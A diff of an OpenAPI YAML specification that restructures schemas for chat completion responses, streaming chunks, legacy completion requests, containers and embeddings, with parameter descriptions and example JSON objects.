+ parallel_tool_calls:
+ $ref: '#/components/schemas/ParallelToolCalls'
+ function_call:
+ deprecated: true
+ description: |
+ Deprecated in favor of `tool_choice`.
+
+ Controls which (if any) function is called by the model.
+
+ `none` means the model will not call a function and instead generates a
+ message.
+
+ `auto` means the model can pick between generating a message or calling a
+ function.
+
+ Specifying a particular function via `{"name": "my_function"}` forces the
+ model to call that function.
+
+ `none` is the default when no functions are present. `auto` is the default
+ if functions are present.
+ anyOf:
+ - type: string
+ description: |
+ `none` means the model will not call a function and instead generates a message. `auto` means the model can pick between generating a message or calling a function.
+ enum:
+ - none
+ - auto
+ title: function call mode
+ - $ref: '#/components/schemas/ChatCompletionFunctionCallOption'
+ functions:
+ deprecated: true
+ description: |
+ Deprecated in favor of `tools`.
+
+ A list of functions the model may generate JSON inputs for.
+ type: array
+ minItems: 1
+ maxItems: 128
+ items:
+ $ref: '#/components/schemas/ChatCompletionFunctions'
+ required:
+ - model
+ - messages
+ CreateChatCompletionResponse:
type: object
- title: Custom tool call
- description: |
- A call to a custom tool created by the model.
+ description: Represents a chat completion response returned by model, based on the provided input.
properties:
id:
type: string
- description: The ID of the tool call.
- type:
- type: string
- enum:
- - custom
- description: The type of the tool. Always `custom`.
- x-stainless-const: true
- custom:
- type: object
- description: The custom tool that the model called.
- properties:
- name:
- type: string
- description: The name of the custom tool to call.
- input:
- type: string
- description: The input for the custom tool call generated by the model.
- required:
- - name
- - input
- required:
- - id
- - type
- - custom
- ChatCompletionMessageList:
- type: object
- title: ChatCompletionMessageList
- description: |
- An object representing a list of chat completion messages.
- properties:
- object:
- type: string
- enum:
- - list
- default: list
- description: |
- The type of this object. It is always set to "list".
- x-stainless-const: true
- data:
+ description: A unique identifier for the chat completion.
+ choices:
type: array
- description: |
- An array of chat completion message objects.
+ description: A list of chat completion choices. Can be more than one if `n` is greater than 1.
items:
- allOf:
- - $ref: '#/components/schemas/ChatCompletionResponseMessage'
- - type: object
- required:
- - id
- properties:
- id:
- type: string
- description: The identifier of the chat message.
- content_parts:
- anyOf:
- - type: array
- description: |
- If a content parts array was provided, this is an array of `text` and `image_url` parts.
- Otherwise, null.
- items:
+ type: object
+ required:
+ - finish_reason
+ - index
+ - message
+ - logprobs
+ properties:
+ finish_reason:
+ type: string
+ description: |
+ The reason the model stopped generating tokens. This will be `stop` if the model hit a natural stop point or a provided stop sequence,
+ `length` if the maximum number of tokens specified in the request was reached,
+ `content_filter` if content was omitted due to a flag from our content filters,
+ `tool_calls` if the model called a tool, or `function_call` (deprecated) if the model called a function.
+ Read the [Model Spec](https://model-spec.openai.com/2025-12-18.html) for more.
+ enum:
+ - stop
+ - length
+ - tool_calls
+ - content_filter
+ - function_call
+ index:
+ type: integer
+ description: The index of the choice in the list of choices.
+ message:
+ $ref: '#/components/schemas/ChatCompletionResponseMessage'
+ logprobs:
+ anyOf:
+ - description: Log probability information for the choice.
+ type: object
+ properties:
+ content:
anyOf:
- - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartText'
- - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartImage'
- - type: 'null'
- first_id:
+ - description: A list of message content tokens with log probability information.
+ type: array
+ items:
+ $ref: '#/components/schemas/ChatCompletionTokenLogprob'
+ - type: 'null'
+ refusal:
+ anyOf:
+ - description: A list of message refusal tokens with log probability information.
+ type: array
+ items:
+ $ref: '#/components/schemas/ChatCompletionTokenLogprob'
+ - type: 'null'
+ required:
+ - content
+ - refusal
+ - type: 'null'
+ created:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the chat completion was created.
+ model:
type: string
- description: The identifier of the first chat message in the data array.
- last_id:
+ description: The model used for the chat completion.
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ service_tier:
+ $ref: '#/components/schemas/ServiceTier'
+ system_fingerprint:
type: string
- description: The identifier of the last chat message in the data array.
- has_more:
- type: boolean
- description: Indicates whether there are more chat messages available.
+ deprecated: true
+ description: |
+ This fingerprint represents the backend configuration that the model runs with.
+
+ Can be used in conjunction with the `seed` request parameter to understand when backend changes have been made that might impact determinism.
+ object:
+ type: string
+ description: The object type, which is always `chat.completion`.
+ enum:
+ - chat.completion
+ x-stainless-const: true
+ usage:
+ $ref: '#/components/schemas/CompletionUsage'
+ moderation:
+ anyOf:
+ - $ref: '#/components/schemas/ChatCompletionModeration'
+ description: |
+ Moderation results for the request input and generated output, if moderated
+ completions were requested.
+ - type: 'null'
required:
+ - choices
+ - created
+ - id
+ - model
- object
- - data
- - first_id
- - last_id
- - has_more
x-oaiMeta:
- name: The chat completion message list object
+ name: The chat completion object
group: chat
example: |
{
- "object": "list",
- "data": [
+ "id": "chatcmpl-B9MHDbslfkBeAs8l4bebGdFOJ6PeG",
+ "object": "chat.completion",
+ "created": 1741570283,
+ "model": "gpt-6-astra",
+ "choices": [
{
- "id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2-0",
- "role": "user",
- "content": "write a haiku about ai",
- "name": null,
- "content_parts": null
+ "index": 0,
+ "message": {
+ "role": "assistant",
+ "content": "The image shows a wooden boardwalk path running through a lush green field or meadow. The sky is bright blue with some scattered clouds, giving the scene a serene and peaceful atmosphere. Trees and shrubs are visible in the background.",
+ "refusal": null,
+ "annotations": []
+ },
+ "logprobs": null,
+ "finish_reason": "stop"
}
],
- "first_id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2-0",
- "last_id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2-0",
- "has_more": false
+ "usage": {
+ "prompt_tokens": 1117,
+ "completion_tokens": 46,
+ "total_tokens": 1163,
+ "prompt_tokens_details": {
+ "cached_tokens": 0,
+ "audio_tokens": 0
+ },
+ "completion_tokens_details": {
+ "reasoning_tokens": 0,
+ "audio_tokens": 0,
+ "accepted_prediction_tokens": 0,
+ "rejected_prediction_tokens": 0
+ }
+ },
+ "service_tier": "default",
+ "system_fingerprint": "fp_fc9f1d7035"
}
- ChatCompletionMessageToolCall:
+ CreateChatCompletionStreamResponse:
type: object
- title: Function tool call
description: |
- A call to a function tool created by the model.
- properties:
- id:
- type: string
- description: The ID of the tool call.
- type:
- type: string
- enum:
- - function
- description: The type of the tool. Currently, only `function` is supported.
- x-stainless-const: true
- function:
- type: object
- description: The function that the model called.
- properties:
- name:
- type: string
- description: The name of the function to call.
- arguments:
- type: string
- description: The arguments to call the function with, as generated by the model in JSON format. Note that the model does not always generate valid JSON, and may hallucinate parameters not defined by your function schema. Validate the arguments in your code before calling your function.
- required:
- - name
- - arguments
- required:
- - id
- - type
- - function
- ChatCompletionMessageToolCallChunk:
- type: object
+ Represents a streamed chunk of a chat completion response returned
+ by the model, based on the provided input.
+ [Learn more](https://developers.openai.com/api/docs/guides/streaming-responses).
properties:
- index:
- type: integer
id:
type: string
- description: The ID of the tool call.
- type:
- type: string
- enum:
- - function
- description: The type of the tool. Currently, only `function` is supported.
- x-stainless-const: true
- function:
- type: object
- properties:
- name:
- type: string
- description: The name of the function to call.
- arguments:
- type: string
- description: The arguments to call the function with, as generated by the model in JSON format. Note that the model does not always generate valid JSON, and may hallucinate parameters not defined by your function schema. Validate the arguments in your code before calling your function.
- required:
- - index
- ChatCompletionMessageToolCalls:
- type: array
- description: The tool calls generated by the model, such as function calls.
- items:
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/ChatCompletionMessageToolCall'
- - $ref: '#/components/schemas/ChatCompletionMessageCustomToolCall'
- x-stainless-naming:
- python:
- model_name: chat_completion_message_tool_call_union
- param_model_name: chat_completion_message_tool_call_union_param
- x-stainless-go-variant-constructor: skip
- ChatCompletionModalities:
- anyOf:
- - type: array
- description: |
- Output types that you would like the model to generate for this request.
- Most models are capable of generating text, which is the default:
-
- `["text"]`
-
- The `gpt-4o-audio-preview` model can also be used to [generate audio](https://developers.openai.com/api/docs/guides/audio). To
- request that this model generate both text and audio responses, you can
- use:
-
- `["text", "audio"]`
- items:
- type: string
- enum:
- - text
- - audio
- - type: 'null'
- ChatCompletionModeration:
- type: object
- description: Moderation results or errors for the request input and generated output.
- properties:
- input:
- description: Moderation for the request input.
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/ChatCompletionModerationResults'
- - $ref: '#/components/schemas/ChatCompletionModerationError'
- output:
- description: Moderation for the generated output.
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/ChatCompletionModerationResults'
- - $ref: '#/components/schemas/ChatCompletionModerationError'
- required:
- - input
- - output
- ChatCompletionModerationError:
- type: object
- description: An error produced while attempting moderation.
- properties:
- type:
- type: string
- enum:
- - error
- description: The object type, which is always `error`.
- x-stainless-const: true
- code:
- type: string
- description: The error code.
- message:
- type: string
- description: The error message.
- required:
- - type
- - code
- - message
- ChatCompletionModerationResults:
- type: object
- description: Successful moderation results for the request input or generated output.
- properties:
- type:
- type: string
- enum:
- - moderation_results
- description: The object type, which is always `moderation_results`.
- x-stainless-const: true
- model:
- type: string
- description: The moderation model used to generate the results.
- results:
+ description: A unique identifier for the chat completion. Each chunk has the same ID.
+ choices:
type: array
- description: A list of moderation results.
+ description: |
+ A list of chat completion choices. Can contain more than one elements if `n` is greater than 1. Can also be empty for the
+ last chunk if you set `stream_options: {"include_usage": true}`.
items:
- $ref: '#/components/schemas/ModerationResultBody'
- required:
- - type
- - model
- - results
- ChatCompletionNamedToolChoice:
- type: object
- title: Function tool choice
- description: Specifies a tool the model should use. Use to force the model to call a specific function.
- properties:
- type:
- type: string
- enum:
- - function
- description: For function calling, the type is always `function`.
- x-stainless-const: true
- function:
- type: object
- properties:
- name:
- type: string
- description: The name of the function to call.
- required:
- - name
- required:
- - type
- - function
- ChatCompletionNamedToolChoiceCustom:
- type: object
- title: Custom tool choice
- description: Specifies a tool the model should use. Use to force the model to call a specific custom tool.
- properties:
- type:
- type: string
- enum:
- - custom
- description: For custom tool calling, the type is always `custom`.
- x-stainless-const: true
- custom:
- type: object
- properties:
- name:
- type: string
- description: The name of the custom tool to call.
- required:
- - name
- required:
- - type
- - custom
- ChatCompletionRequestAssistantMessage:
- type: object
- title: Assistant message
- description: |
- Messages sent by the model in response to user messages.
- properties:
- content:
- anyOf:
- - description: |
- The contents of the assistant message. Required unless `tool_calls` or `function_call` is specified.
- anyOf:
- - type: string
- description: The contents of the assistant message.
- title: Text content
- - type: array
- description: An array of content parts with a defined type. Can be one or more of type `text`, or exactly one of type `refusal`.
- title: Array of content parts
- items:
- $ref: '#/components/schemas/ChatCompletionRequestAssistantMessageContentPart'
- minItems: 1
- - type: 'null'
- refusal:
- anyOf:
- - type: string
- description: The refusal message by the assistant.
- - type: 'null'
- role:
+ type: object
+ required:
+ - delta
+ - finish_reason
+ - index
+ properties:
+ delta:
+ $ref: '#/components/schemas/ChatCompletionStreamResponseDelta'
+ logprobs:
+ description: Log probability information for the choice.
+ type: object
+ nullable: true
+ properties:
+ content:
+ description: A list of message content tokens with log probability information.
+ type: array
+ items:
+ $ref: '#/components/schemas/ChatCompletionTokenLogprob'
+ nullable: true
+ refusal:
+ description: A list of message refusal tokens with log probability information.
+ type: array
+ items:
+ $ref: '#/components/schemas/ChatCompletionTokenLogprob'
+ nullable: true
+ required:
+ - content
+ - refusal
+ finish_reason:
+ type: string
+ description: |
+ The reason the model stopped generating tokens. This will be `stop` if the model hit a natural stop point or a provided stop sequence,
+ `length` if the maximum number of tokens specified in the request was reached,
+ `content_filter` if content was omitted due to a flag from our content filters,
+ `tool_calls` if the model called a tool, or `function_call` (deprecated) if the model called a function.
+ enum:
+ - stop
+ - length
+ - tool_calls
+ - content_filter
+ - function_call
+ nullable: true
+ index:
+ type: integer
+ description: The index of the choice in the list of choices.
+ created:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the chat completion was created. Each chunk has the same timestamp.
+ model:
+ type: string
+ description: The model to generate the completion.
+ obfuscation:
+ type: string
+ description: |
+ An obfuscation string added to normalize the size of streamed chunks as a
+ mitigation to certain side-channel attacks. The field is included by
+ default and omitted when `stream_options.include_obfuscation` is `false`.
+ service_tier:
+ $ref: '#/components/schemas/ServiceTier'
+ system_fingerprint:
+ type: string
+ deprecated: true
+ description: |
+ This fingerprint represents the backend configuration that the model runs with.
+ Can be used in conjunction with the `seed` request parameter to understand when backend changes have been made that might impact determinism.
+ object:
type: string
+ description: The object type, which is always `chat.completion.chunk`.
enum:
- - assistant
- description: The role of the messages author, in this case `assistant`.
+ - chat.completion.chunk
x-stainless-const: true
- name:
- type: string
- description: An optional name for the participant. Provides the model information to differentiate between participants of the same role.
- audio:
+ usage:
+ $ref: '#/components/schemas/CompletionUsage'
+ nullable: true
+ description: |
+ An optional field that will only be present when you set
+ `stream_options: {"include_usage": true}` in your request. When present, it
+ contains a null value **except for the last chunk** which contains the
+ token usage statistics for the entire request.
+
+ **NOTE:** If the stream is interrupted or cancelled, you may not
+ receive the final usage chunk which contains the total token usage for
+ the request.
+ moderation:
anyOf:
- - type: object
+ - $ref: '#/components/schemas/ChatCompletionModeration'
description: |
- Data about a previous audio response from the model.
- [Learn more](https://developers.openai.com/api/docs/guides/audio).
- required:
- - id
- properties:
- id:
- type: string
- description: |
- Unique identifier for a previous audio response from the model.
- - type: 'null'
- tool_calls:
- $ref: '#/components/schemas/ChatCompletionMessageToolCalls'
- function_call:
- anyOf:
- - type: object
- deprecated: true
- description: Deprecated and replaced by `tool_calls`. The name and arguments of a function that should be called, as generated by the model.
- properties:
- arguments:
- type: string
- description: The arguments to call the function with, as generated by the model in JSON format. Note that the model does not always generate valid JSON, and may hallucinate parameters not defined by your function schema. Validate the arguments in your code before calling your function.
- name:
- type: string
- description: The name of the function to call.
- required:
- - arguments
- - name
+ Moderation results for the request input and generated output. Present
+ on the moderation chunk when moderated completions are requested.
- type: 'null'
required:
- - role
- x-stainless-soft-required:
- - content
- ChatCompletionRequestAssistantMessageContentPart:
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartText'
- - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartRefusal'
- ChatCompletionRequestDeveloperMessage:
+ - choices
+ - created
+ - id
+ - model
+ - object
+ x-oaiMeta:
+ name: The chat completion chunk object
+ group: chat
+ example: |
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-6-astra", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"role":"assistant","content":""},"logprobs":null,"finish_reason":null}],"obfuscation":"r4N7vQ2m"}
+
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-6-astra", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"content":"Hello"},"logprobs":null,"finish_reason":null}],"obfuscation":"p9K3xT6w"}
+
+ ....
+
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-6-astra", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{},"logprobs":null,"finish_reason":"stop"}],"obfuscation":""}
+ CreateCompletionRequest:
type: object
- title: Developer message
- description: |
- Developer-provided instructions that the model should follow, regardless of
- messages sent by the user. With o1 models and newer, `developer` messages
- replace the previous `system` messages.
properties:
- content:
- description: The contents of the developer message.
+ model:
+ description: |
+ ID of the model to use. You can use the [List models](https://developers.openai.com/api/reference/resources/models/methods/list) API to see all of your available models, or see our [Model overview](https://developers.openai.com/api/docs/models) for descriptions of them.
anyOf:
- type: string
- description: The contents of the developer message.
- title: Text content
+ - type: string
+ enum:
+ - gpt-3.5-turbo-instruct
+ - davinci-002
+ - babbage-002
+ title: Preset
+ x-oaiTypeLabel: string
+ prompt:
+ description: |
+ The prompt(s) to generate completions for, encoded as a string, array of strings, array of tokens, or array of token arrays.
+
+ Note that <|endoftext|> is the document separator that the model sees during training, so if a prompt is not specified the model will generate as if from the beginning of a new document.
+ anyOf:
+ - type: string
+ default: ''
+ example: This is a test.
- type: array
- description: An array of content parts with a defined type. For developer messages, only type `text` is supported.
- title: Array of content parts
items:
- $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartText'
+ type: string
+ default: ''
+ example: This is a test.
+ title: Array of strings
+ - type: array
minItems: 1
- role:
+ items:
+ type: integer
+ title: Array of tokens
+ - type: array
+ minItems: 1
+ items:
+ type: array
+ minItems: 1
+ items:
+ type: integer
+ title: Array of token arrays
+ nullable: true
+ best_of:
+ type: integer
+ default: 1
+ minimum: 0
+ maximum: 20
+ nullable: true
+ description: |
+ Generates `best_of` completions server-side and returns the "best" (the one with the highest log probability per token). Results cannot be streamed.
+
+ When used with `n`, `best_of` controls the number of candidate completions and `n` specifies how many to return – `best_of` must be greater than `n`.
+
+ **Note:** Because this parameter generates many completions, it can quickly consume your token quota. Use carefully and ensure that you have reasonable settings for `max_tokens` and `stop`.
+ echo:
+ type: boolean
+ default: false
+ nullable: true
+ description: |
+ Echo back the prompt in addition to the completion
+ frequency_penalty:
+ type: number
+ default: 0
+ minimum: -2
+ maximum: 2
+ nullable: true
+ description: |
+ Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.
+
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
+ logit_bias:
+ type: object
+ x-oaiTypeLabel: map
+ default: null
+ nullable: true
+ additionalProperties:
+ type: integer
+ description: |
+ Modify the likelihood of specified tokens appearing in the completion.
+
+ Accepts a JSON object that maps tokens (specified by their token ID in the GPT tokenizer) to an associated bias value from -100 to 100. You can use this [tokenizer tool](https://platform.openai.com/tokenizer?view=bpe) to convert text to token IDs. Mathematically, the bias is added to the logits generated by the model prior to sampling. The exact effect will vary per model, but values between -1 and 1 should decrease or increase likelihood of selection; values like -100 or 100 should result in a ban or exclusive selection of the relevant token.
+
+ As an example, you can pass `{"50256": -100}` to prevent the <|endoftext|> token from being generated.
+ logprobs:
+ type: integer
+ minimum: 0
+ maximum: 5
+ default: null
+ nullable: true
+ description: |
+ Include the log probabilities on the `logprobs` most likely output tokens, as well the chosen tokens. For example, if `logprobs` is 5, the API will return a list of the 5 most likely tokens. The API will always return the `logprob` of the sampled token, so there may be up to `logprobs+1` elements in the response.
+
+ The maximum value for `logprobs` is 5.
+ max_tokens:
+ type: integer
+ minimum: 0
+ default: 16
+ example: 16
+ nullable: true
+ description: |
+ The maximum number of [tokens](https://platform.openai.com/tokenizer) that can be generated in the completion.
+
+ The token count of your prompt plus `max_tokens` cannot exceed the model's context length. [Example Python code](https://cookbook.openai.com/examples/how_to_count_tokens_with_tiktoken) for counting tokens.
+ n:
+ type: integer
+ minimum: 1
+ maximum: 128
+ default: 1
+ example: 1
+ nullable: true
+ description: |
+ How many completions to generate for each prompt.
+
+ **Note:** Because this parameter generates many completions, it can quickly consume your token quota. Use carefully and ensure that you have reasonable settings for `max_tokens` and `stop`.
+ presence_penalty:
+ type: number
+ default: 0
+ minimum: -2
+ maximum: 2
+ nullable: true
+ description: |
+ Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.
+
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
+ seed:
+ type: integer
+ format: int64
+ nullable: true
+ description: |
+ If specified, our system will make a best effort to sample deterministically, such that repeated requests with the same `seed` and parameters should return the same result.
+
+ Determinism is not guaranteed, and you should refer to the `system_fingerprint` response parameter to monitor changes in the backend.
+ stop:
+ $ref: '#/components/schemas/StopConfiguration'
+ stream:
+ description: |
+ Whether to stream back partial progress. If set, tokens will be sent as data-only [server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format) as they become available, with the stream terminated by a `data: [DONE]` message. [Example Python code](https://cookbook.openai.com/examples/how_to_stream_completions).
+ type: boolean
+ nullable: true
+ default: false
+ stream_options:
+ $ref: '#/components/schemas/ChatCompletionStreamOptions'
+ suffix:
+ description: |
+ The suffix that comes after a completion of inserted text.
+
+ This parameter is only supported for `gpt-3.5-turbo-instruct`.
+ default: null
+ nullable: true
type: string
- enum:
- - developer
- description: The role of the messages author, in this case `developer`.
- x-stainless-const: true
- name:
+ example: test.
+ temperature:
+ type: number
+ minimum: 0
+ maximum: 2
+ default: 1
+ example: 1
+ nullable: true
+ description: |
+ What sampling temperature to use, between 0 and 2. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic.
+
+ We generally recommend altering this or `top_p` but not both.
+ top_p:
+ type: number
+ minimum: 0
+ maximum: 1
+ default: 1
+ example: 1
+ nullable: true
+ description: |
+ An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered.
+
+ We generally recommend altering this or `temperature` but not both.
+ user:
type: string
- description: An optional name for the participant. Provides the model information to differentiate between participants of the same role.
+ example: user-1234
+ description: |
+ A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
required:
- - content
- - role
- x-stainless-naming:
- go:
- variant_constructor: DeveloperMessage
- ChatCompletionRequestFunctionMessage:
+ - model
+ - prompt
+ CreateCompletionResponse:
type: object
- title: Function message
- deprecated: true
+ description: |
+ Represents a completion response from the API. Note: both the streamed and non-streamed response objects share the same shape (unlike the chat endpoint).
properties:
- role:
+ id:
type: string
- enum:
- - function
- description: The role of the messages author, in this case `function`.
- x-stainless-const: true
- content:
- anyOf:
- - type: string
- description: The contents of the function message.
- - type: 'null'
- name:
+ description: A unique identifier for the completion.
+ choices:
+ type: array
+ description: The list of completion choices the model generated for the input prompt.
+ items:
+ type: object
+ required:
+ - finish_reason
+ - index
+ - logprobs
+ - text
+ properties:
+ finish_reason:
+ type: string
+ description: |
+ The reason the model stopped generating tokens. This will be `stop` if the model hit a natural stop point or a provided stop sequence,
+ `length` if the maximum number of tokens specified in the request was reached,
+ or `content_filter` if content was omitted due to a flag from our content filters.
+ enum:
+ - stop
+ - length
+ - content_filter
+ index:
+ type: integer
+ logprobs:
+ anyOf:
+ - type: object
+ properties:
+ text_offset:
+ type: array
+ items:
+ type: integer
+ token_logprobs:
+ type: array
+ items:
+ type: number
+ tokens:
+ type: array
+ items:
+ type: string
+ top_logprobs:
+ type: array
+ items:
+ type: object
+ additionalProperties:
+ type: number
+ - type: 'null'
+ text:
+ type: string
+ created:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the completion was created.
+ model:
type: string
- description: The name of the function to call.
- required:
- - role
- - content
- - name
- ChatCompletionRequestMessage:
- discriminator:
- propertyName: role
- anyOf:
- - $ref: '#/components/schemas/ChatCompletionRequestDeveloperMessage'
- - $ref: '#/components/schemas/ChatCompletionRequestSystemMessage'
- - $ref: '#/components/schemas/ChatCompletionRequestUserMessage'
- - $ref: '#/components/schemas/ChatCompletionRequestAssistantMessage'
- - $ref: '#/components/schemas/ChatCompletionRequestToolMessage'
- - $ref: '#/components/schemas/ChatCompletionRequestFunctionMessage'
- ChatCompletionRequestMessageContentPartAudio:
- type: object
- title: Audio content part
- description: |
- Learn about [audio inputs](https://developers.openai.com/api/docs/guides/audio).
- properties:
- type:
+ description: The model used for completion.
+ system_fingerprint:
type: string
- enum:
- - input_audio
- description: The type of the content part. Always `input_audio`.
- x-stainless-const: true
- input_audio:
- type: object
- properties:
- data:
- type: string
- description: Base64 encoded audio data.
- format:
- type: string
- enum:
- - wav
- - mp3
- description: |
- The format of the encoded audio data. Currently supports "wav" and "mp3".
- required:
- - data
- - format
- prompt_cache_breakpoint:
- $ref: '#/components/schemas/PromptCacheBreakpointParam'
- required:
- - type
- - input_audio
- x-stainless-naming:
- go:
- variant_constructor: InputAudioContentPart
- ChatCompletionRequestMessageContentPartFile:
- type: object
- title: File content part
- description: |
- Learn about [file inputs](https://developers.openai.com/api/docs/guides/text) for text generation.
- properties:
- type:
+ description: |
+ This fingerprint represents the backend configuration that the model runs with.
+
+ Can be used in conjunction with the `seed` request parameter to understand when backend changes have been made that might impact determinism.
+ object:
type: string
+ description: The object type, which is always "text_completion"
enum:
- - file
- description: The type of the content part. Always `file`.
+ - text_completion
x-stainless-const: true
- file:
- type: object
- properties:
- filename:
- type: string
- description: |
- The name of the file, used when passing the file to the model as a
- string.
- file_data:
- type: string
- description: |
- The base64 encoded file data, used when passing the file to the model
- as a string.
- file_id:
- type: string
- description: |
- The ID of an uploaded file to use as input.
- x-stainless-naming:
- java:
- type_name: FileObject
- kotlin:
- type_name: FileObject
- prompt_cache_breakpoint:
- $ref: '#/components/schemas/PromptCacheBreakpointParam'
+ usage:
+ $ref: '#/components/schemas/CompletionUsage'
required:
- - type
- - file
- x-stainless-naming:
- go:
- variant_constructor: FileContentPart
- ChatCompletionRequestMessageContentPartImage:
+ - id
+ - object
+ - created
+ - model
+ - choices
+ x-oaiMeta:
+ name: The completion object
+ legacy: true
+ example: |
+ {
+ "id": "cmpl-uqkvlQyYK7bGYrRHQ0eXlWi7",
+ "object": "text_completion",
+ "created": 1589478378,
+ "model": "gpt-3.5-turbo-instruct",
+ "choices": [
+ {
+ "text": "\n\nThis is indeed a test",
+ "index": 0,
+ "logprobs": null,
+ "finish_reason": "length"
+ }
+ ],
+ "usage": {
+ "prompt_tokens": 5,
+ "completion_tokens": 7,
+ "total_tokens": 12
+ }
+ }
+ CreateContainerBody:
type: object
- title: Image content part
- description: |
- Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision).
properties:
- type:
+ name:
type: string
- enum:
- - image_url
- description: The type of the content part.
- x-stainless-const: true
- image_url:
+ description: Name of the container to create.
+ file_ids:
+ type: array
+ description: IDs of files to copy to the container.
+ items:
+ type: string
+ expires_after:
type: object
+ description: Container expiration time in seconds relative to the 'anchor' time.
properties:
- url:
- type: string
- description: Either a URL of the image or the base64 encoded image data.
- format: uri
- detail:
+ anchor:
type: string
- description: Specifies the detail level of the image. Learn more in the [Vision guide](https://developers.openai.com/api/docs/guides/images-vision#choose-an-image-detail-level).
enum:
- - auto
- - low
- - high
- default: auto
+ - last_active_at
+ description: Time anchor for the expiration time. Currently only 'last_active_at' is supported.
+ minutes:
+ type: integer
required:
- - url
- prompt_cache_breakpoint:
- $ref: '#/components/schemas/PromptCacheBreakpointParam'
- required:
- - type
- - image_url
- x-stainless-naming:
- go:
- variant_constructor: ImageContentPart
- ChatCompletionRequestMessageContentPartRefusal:
- type: object
- title: Refusal content part
- properties:
- type:
+ - anchor
+ - minutes
+ skills:
+ type: array
+ description: An optional list of skills referenced by id or inline data.
+ items:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/SkillReferenceParam'
+ - $ref: '#/components/schemas/InlineSkillParam'
+ memory_limit:
type: string
enum:
- - refusal
- description: The type of the content part.
- x-stainless-const: true
- refusal:
- type: string
- description: The refusal message generated by the model.
+ - 1g
+ - 4g
+ - 16g
+ - 64g
+ description: Optional memory limit for the container. Defaults to "1g".
+ network_policy:
+ description: Network access policy for the container.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/ContainerNetworkPolicyDisabledParam'
+ - $ref: '#/components/schemas/ContainerNetworkPolicyAllowlistParam'
required:
- - type
- - refusal
- ChatCompletionRequestMessageContentPartText:
+ - name
+ CreateContainerFileBody:
type: object
- title: Text content part
- description: |
- Learn about [text inputs](https://developers.openai.com/api/docs/guides/text).
properties:
- type:
+ file_id:
type: string
- enum:
- - text
- description: The type of the content part.
- x-stainless-const: true
- text:
+ description: Name of the file to create.
+ file:
+ description: |
+ The File object (not file name) to be uploaded.
type: string
- description: The text content.
- prompt_cache_breakpoint:
- $ref: '#/components/schemas/PromptCacheBreakpointParam'
- required:
- - type
- - text
- x-stainless-naming:
- go:
- variant_constructor: TextContentPart
- ChatCompletionRequestSystemMessage:
+ format: binary
+ required: []
+ CreateEmbeddingRequest:
type: object
- title: System message
- description: |
- Developer-provided instructions that the model should follow, regardless of
- messages sent by the user. With o1 models and newer, use `developer` messages
- for this purpose instead.
+ additionalProperties: false
properties:
- content:
- description: The contents of the system message.
+ input:
+ description: |
+ Input text to embed, encoded as a string or array of tokens. To embed multiple inputs in a single request, pass an array of strings or array of token arrays. The input must not exceed the max input tokens for the model (8192 tokens for all embedding models), cannot be an empty string, and any array must be 2048 dimensions or less. [Example Python code](https://cookbook.openai.com/examples/how_to_count_tokens_with_tiktoken) for counting tokens. In addition to the per-input token limit, all embedding models enforce a maximum of 300,000 tokens summed across all inputs in a single request.
+ example: The quick brown fox jumped over the lazy dog
anyOf:
- type: string
- description: The contents of the system message.
- title: Text content
+ title: string
+ description: The string that will be turned into an embedding.
+ default: ''
+ example: This is a test.
- type: array
- description: An array of content parts with a defined type. For system messages, only type `text` is supported.
- title: Array of content parts
- items:
- $ref: '#/components/schemas/ChatCompletionRequestSystemMessageContentPart'
+ title: Array of strings
+ description: The array of strings that will be turned into an embedding.
minItems: 1
- role:
- type: string
- enum:
- - system
- description: The role of the messages author, in this case `system`.
- x-stainless-const: true
- name:
- type: string
- description: An optional name for the participant. Provides the model information to differentiate between participants of the same role.
- required:
- - content
- - role
- x-stainless-naming:
- go:
- variant_constructor: SystemMessage
- ChatCompletionRequestSystemMessageContentPart:
- anyOf:
- - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartText'
- ChatCompletionRequestToolMessage:
- type: object
- title: Tool message
- properties:
- role:
- type: string
- enum:
- - tool
- description: The role of the messages author, in this case `tool`.
- x-stainless-const: true
- content:
- description: The contents of the tool message.
- anyOf:
- - type: string
- description: The contents of the tool message.
- title: Text content
+ maxItems: 2048
+ items:
+ type: string
+ default: ''
+ example: '[''This is a test.'']'
- type: array
